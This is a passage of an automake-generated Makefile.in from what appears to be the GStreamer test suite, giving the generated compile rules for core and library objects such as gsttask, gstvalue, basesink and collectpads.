$(AM_CFLAGS) $(CFLAGS) -MT gsttask.o -MD -MP -MF $(DEPDIR)/gsttask.Tpo -c -o gsttask.o `test -f 'gst/gsttask.c' || echo '$(srcdir)/'`gst/gsttask.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gsttask.Tpo $(DEPDIR)/gsttask.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gsttask.c' object='gsttask.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gsttask.o `test -f 'gst/gsttask.c' || echo '$(srcdir)/'`gst/gsttask.c gsttask.obj: gst/gsttask.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gsttask.obj -MD -MP -MF $(DEPDIR)/gsttask.Tpo -c -o gsttask.obj `if test -f 'gst/gsttask.c'; then $(CYGPATH_W) 'gst/gsttask.c'; else $(CYGPATH_W) '$(srcdir)/gst/gsttask.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gsttask.Tpo $(DEPDIR)/gsttask.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gsttask.c' object='gsttask.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gsttask.obj `if test -f 'gst/gsttask.c'; then $(CYGPATH_W) 'gst/gsttask.c'; else $(CYGPATH_W) '$(srcdir)/gst/gsttask.c'; fi` gsturi.o: gst/gsturi.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gsturi.o -MD -MP -MF $(DEPDIR)/gsturi.Tpo -c -o gsturi.o `test -f 'gst/gsturi.c' || echo '$(srcdir)/'`gst/gsturi.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gsturi.Tpo $(DEPDIR)/gsturi.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gsturi.c' object='gsturi.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gsturi.o `test -f 'gst/gsturi.c' || echo '$(srcdir)/'`gst/gsturi.c gsturi.obj: gst/gsturi.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gsturi.obj -MD -MP -MF $(DEPDIR)/gsturi.Tpo -c -o gsturi.obj `if test -f 'gst/gsturi.c'; then $(CYGPATH_W) 'gst/gsturi.c'; else $(CYGPATH_W) '$(srcdir)/gst/gsturi.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gsturi.Tpo $(DEPDIR)/gsturi.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gsturi.c' object='gsturi.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gsturi.obj `if test -f 'gst/gsturi.c'; then $(CYGPATH_W) 'gst/gsturi.c'; else $(CYGPATH_W) '$(srcdir)/gst/gsturi.c'; fi` gstutils.o: gst/gstutils.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstutils.o -MD -MP -MF $(DEPDIR)/gstutils.Tpo -c -o gstutils.o `test -f 'gst/gstutils.c' || echo '$(srcdir)/'`gst/gstutils.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstutils.Tpo $(DEPDIR)/gstutils.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstutils.c' object='gstutils.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstutils.o `test -f 'gst/gstutils.c' || echo '$(srcdir)/'`gst/gstutils.c gstutils.obj: gst/gstutils.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstutils.obj -MD -MP -MF $(DEPDIR)/gstutils.Tpo -c -o gstutils.obj `if test -f 'gst/gstutils.c'; then $(CYGPATH_W) 'gst/gstutils.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstutils.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstutils.Tpo $(DEPDIR)/gstutils.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstutils.c' object='gstutils.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstutils.obj `if test -f 'gst/gstutils.c'; then $(CYGPATH_W) 'gst/gstutils.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstutils.c'; fi` gstvalue.o: gst/gstvalue.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstvalue.o -MD -MP -MF $(DEPDIR)/gstvalue.Tpo -c -o gstvalue.o `test -f 'gst/gstvalue.c' || echo '$(srcdir)/'`gst/gstvalue.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstvalue.Tpo $(DEPDIR)/gstvalue.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstvalue.c' object='gstvalue.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstvalue.o `test -f 'gst/gstvalue.c' || echo '$(srcdir)/'`gst/gstvalue.c gstvalue.obj: gst/gstvalue.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstvalue.obj -MD -MP -MF $(DEPDIR)/gstvalue.Tpo -c -o gstvalue.obj `if test -f 'gst/gstvalue.c'; then $(CYGPATH_W) 'gst/gstvalue.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstvalue.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstvalue.Tpo $(DEPDIR)/gstvalue.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstvalue.c' object='gstvalue.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstvalue.obj `if test -f 'gst/gstvalue.c'; then $(CYGPATH_W) 'gst/gstvalue.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstvalue.c'; fi` adapter.o: libs/adapter.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT adapter.o -MD -MP -MF $(DEPDIR)/adapter.Tpo -c -o adapter.o `test -f 'libs/adapter.c' || echo '$(srcdir)/'`libs/adapter.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/adapter.Tpo $(DEPDIR)/adapter.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/adapter.c' object='adapter.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o adapter.o `test -f 'libs/adapter.c' || echo '$(srcdir)/'`libs/adapter.c adapter.obj: libs/adapter.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT adapter.obj -MD -MP -MF $(DEPDIR)/adapter.Tpo -c -o adapter.obj `if test -f 'libs/adapter.c'; then $(CYGPATH_W) 'libs/adapter.c'; else $(CYGPATH_W) '$(srcdir)/libs/adapter.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/adapter.Tpo $(DEPDIR)/adapter.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/adapter.c' object='adapter.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o adapter.obj `if test -f 'libs/adapter.c'; then $(CYGPATH_W) 'libs/adapter.c'; else $(CYGPATH_W) '$(srcdir)/libs/adapter.c'; fi` basesink.o: libs/basesink.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT basesink.o -MD -MP -MF $(DEPDIR)/basesink.Tpo -c -o basesink.o `test -f 'libs/basesink.c' || echo '$(srcdir)/'`libs/basesink.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/basesink.Tpo $(DEPDIR)/basesink.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/basesink.c' object='basesink.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o basesink.o `test -f 'libs/basesink.c' || echo '$(srcdir)/'`libs/basesink.c basesink.obj: libs/basesink.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT basesink.obj -MD -MP -MF $(DEPDIR)/basesink.Tpo -c -o basesink.obj `if test -f 'libs/basesink.c'; then $(CYGPATH_W) 'libs/basesink.c'; else $(CYGPATH_W) '$(srcdir)/libs/basesink.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/basesink.Tpo $(DEPDIR)/basesink.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/basesink.c' object='basesink.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o basesink.obj `if test -f 'libs/basesink.c'; then $(CYGPATH_W) 'libs/basesink.c'; else $(CYGPATH_W) '$(srcdir)/libs/basesink.c'; fi` basesrc.o: libs/basesrc.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT basesrc.o -MD -MP -MF $(DEPDIR)/basesrc.Tpo -c -o basesrc.o `test -f 'libs/basesrc.c' || echo '$(srcdir)/'`libs/basesrc.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/basesrc.Tpo $(DEPDIR)/basesrc.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/basesrc.c' object='basesrc.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o basesrc.o `test -f 'libs/basesrc.c' || echo '$(srcdir)/'`libs/basesrc.c basesrc.obj: libs/basesrc.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT basesrc.obj -MD -MP -MF $(DEPDIR)/basesrc.Tpo -c -o basesrc.obj `if test -f 'libs/basesrc.c'; then $(CYGPATH_W) 'libs/basesrc.c'; else $(CYGPATH_W) '$(srcdir)/libs/basesrc.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/basesrc.Tpo $(DEPDIR)/basesrc.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/basesrc.c' object='basesrc.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o basesrc.obj `if test -f 'libs/basesrc.c'; then $(CYGPATH_W) 'libs/basesrc.c'; else $(CYGPATH_W) '$(srcdir)/libs/basesrc.c'; fi` bitreader.o: libs/bitreader.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT bitreader.o -MD -MP -MF $(DEPDIR)/bitreader.Tpo -c -o bitreader.o `test -f 'libs/bitreader.c' || echo '$(srcdir)/'`libs/bitreader.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/bitreader.Tpo $(DEPDIR)/bitreader.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/bitreader.c' object='bitreader.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o bitreader.o `test -f 'libs/bitreader.c' || echo '$(srcdir)/'`libs/bitreader.c bitreader.obj: libs/bitreader.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT bitreader.obj -MD -MP -MF $(DEPDIR)/bitreader.Tpo -c -o bitreader.obj `if test -f 'libs/bitreader.c'; then $(CYGPATH_W) 'libs/bitreader.c'; else $(CYGPATH_W) '$(srcdir)/libs/bitreader.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/bitreader.Tpo $(DEPDIR)/bitreader.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/bitreader.c' object='bitreader.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o bitreader.obj `if test -f 'libs/bitreader.c'; then $(CYGPATH_W) 'libs/bitreader.c'; else $(CYGPATH_W) '$(srcdir)/libs/bitreader.c'; fi` bytereader.o: libs/bytereader.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT bytereader.o -MD -MP -MF $(DEPDIR)/bytereader.Tpo -c -o bytereader.o `test -f 'libs/bytereader.c' || echo '$(srcdir)/'`libs/bytereader.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/bytereader.Tpo $(DEPDIR)/bytereader.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/bytereader.c' object='bytereader.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o bytereader.o `test -f 'libs/bytereader.c' || echo '$(srcdir)/'`libs/bytereader.c bytereader.obj: libs/bytereader.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT bytereader.obj -MD -MP -MF $(DEPDIR)/bytereader.Tpo -c -o bytereader.obj `if test -f 'libs/bytereader.c'; then $(CYGPATH_W) 'libs/bytereader.c'; else $(CYGPATH_W) '$(srcdir)/libs/bytereader.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/bytereader.Tpo $(DEPDIR)/bytereader.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/bytereader.c' object='bytereader.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o bytereader.obj `if test -f 'libs/bytereader.c'; then $(CYGPATH_W) 'libs/bytereader.c'; else $(CYGPATH_W) '$(srcdir)/libs/bytereader.c'; fi` bytewriter.o: libs/bytewriter.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT bytewriter.o -MD -MP -MF $(DEPDIR)/bytewriter.Tpo -c -o bytewriter.o `test -f 'libs/bytewriter.c' || echo '$(srcdir)/'`libs/bytewriter.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/bytewriter.Tpo $(DEPDIR)/bytewriter.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/bytewriter.c' object='bytewriter.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o bytewriter.o `test -f 'libs/bytewriter.c' || echo '$(srcdir)/'`libs/bytewriter.c bytewriter.obj: libs/bytewriter.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT bytewriter.obj -MD -MP -MF $(DEPDIR)/bytewriter.Tpo -c -o bytewriter.obj `if test -f 'libs/bytewriter.c'; then $(CYGPATH_W) 'libs/bytewriter.c'; else $(CYGPATH_W) '$(srcdir)/libs/bytewriter.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/bytewriter.Tpo $(DEPDIR)/bytewriter.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/bytewriter.c' object='bytewriter.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o bytewriter.obj `if test -f 'libs/bytewriter.c'; then $(CYGPATH_W) 'libs/bytewriter.c'; else $(CYGPATH_W) '$(srcdir)/libs/bytewriter.c'; fi` collectpads.o: libs/collectpads.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT collectpads.o -MD -MP -MF $(DEPDIR)/collectpads.Tpo -c -o collectpads.o `test -f 'libs/collectpads.c' || echo '$(srcdir)/'`libs/collectpads.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/collectpads.Tpo $(DEPDIR)/collectpads.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/collectpads.c' object='collectpads.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o collectpads.o `test -f 'libs/collectpads.c' || echo '$(srcdir)/'`libs/collectpads.c collectpads.obj: libs/collectpads.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT collectpads.obj -MD -MP -MF $(DEPDIR)/collectpads.Tpo -c -o collectpads.obj `if test -f 'libs/collectpads.c'; then $(CYGPATH_W) 'libs/collectpads.c'; else $(CYGPATH_W) '$(srcdir)/libs/collectpads.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/collectpads.Tpo $(DEPDIR)/collectpads.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/collectpads.c' object='collectpads.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o collectpads.obj `if test -f 'libs/collectpads.c'; then $(CYGPATH_W) 'libs/collectpads.c'; else $(CYGPATH_W) '$(srcdir)/libs/collectpads.c'; fi` controller.o: libs/controller.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT controller.o -MD -MP -MF $(DEPDIR)/controller.Tpo -c -o controller.o `test -f 'libs/controller.c' || echo '$(srcdir)/'`libs/controller.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/controller.Tpo $(DEPDIR)/controller.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='libs/controller.c' object='controller.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o controller.o `test -f 'libs/controller.c' || echo '$(srcdir)/'`libs/controller.c controller.obj: libs/controller.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT controller.obj -MD -MP -MF 